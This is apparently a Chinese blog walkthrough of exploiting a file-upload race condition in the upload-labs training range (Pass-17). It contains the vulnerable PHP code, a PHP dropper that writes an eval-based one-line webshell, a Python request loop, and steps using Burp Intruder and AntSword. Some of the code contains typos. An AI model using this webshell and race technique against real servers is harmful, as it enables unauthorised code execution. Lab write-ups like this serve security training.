形成原因
由于服务器端在处理不同用户的请求时是并发进行处理的,如果对这些并发操作处理不当的话会由于一些时序问题导致一些异常情况的发生
实例
形成原因可能过于抽象,所以着重通过实例进行讲解,这里测试所使用的靶场是 upload-labs(Pass-17)
直接来看一下源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
解释一下该段代码的大致意思:服务器接收到上传文件请求后直接将其文件存入系统,然后再对已经存入的文件进行判定是否符合白名单要求,若符合要求则将其进行改名,若不符合则再将该文件删除
该段代码可能属于“引狼入室”的典范了,服务器处理上传文件请求时,无论何种文件均被服务器直接存入系统,虽说后来又及时“补救”,将其不符合白名单的文件进行删除,但是这个“狼”终究是进来了,这也是我们的重要突破点
不过,将一句话木马写入文件直接上传,然后通过蚁剑连接的想法还是将其打消了吧,可能蚁剑还没连上或者刚连上,一句话木马文件就被删除了(带着蚁剑风中凌乱去吧)
虽然不能直接上传一句话木马,但是我们可以上传一个“写一句话木马的文件”,其代码大致如下(有很多写法,大家自行选择)
<?php
$file=fopen("muma.php","w");
$string='<?php @eval($_POST["test"]); ?>';
fwrite($file,$string);
fcolse();
?>
如若是对写入操作不熟悉的话,可以去菜鸟教程看一下,那里讲解的还是挺清楚的
我们可以将上面这个文件上传,然后通过访问这个文件来执行该文件的php代码,从而帮助我们写入稳定的一句话木马
虽说我们只需要在计算机将已经进入的“狼”删除之前访问一次已经进入的“狼”便能够将一句话木马稳定的写入文件(就是在计算机删除该文件前,我们成功访问一次该文件),但是这一次访问若是手工来可确实是有点难为人了,毕竟是跟计算机拼手速,如果对自己的手速比较自信的话就可以跳过下面这一段python代码了
我还是对自己的手速不够自信,所以还是得依靠外物来与计算机拼手速,我写了访问的python脚本,通过该脚本来与计算机“拼手速”
import requests
for i in range(1000000):
url="xxx"
if requests.get(url).status_code == 200 :
print('yse')
工具已经准备好了,下面就可以进行演示了
我们得重复进行发包上传文件,这里我使用的工具是burp suite来进行重复发包上传
将这个上传包拦截下来扔到intruder模块进行爆破就行了,我使用的是无参数爆破
这个时候将爆破模块打开后使其开始进行爆破,同时也需要运行python脚本对上传的文件进行访问(这个可能会存在失败的情况,多尝试几次就可以了,因为这个条件竞争有些不够稳定)
待访问成功后,一句话木马也就成功被写入了,然后使用蚁剑对其连接即可
个人新建博客,欢迎访问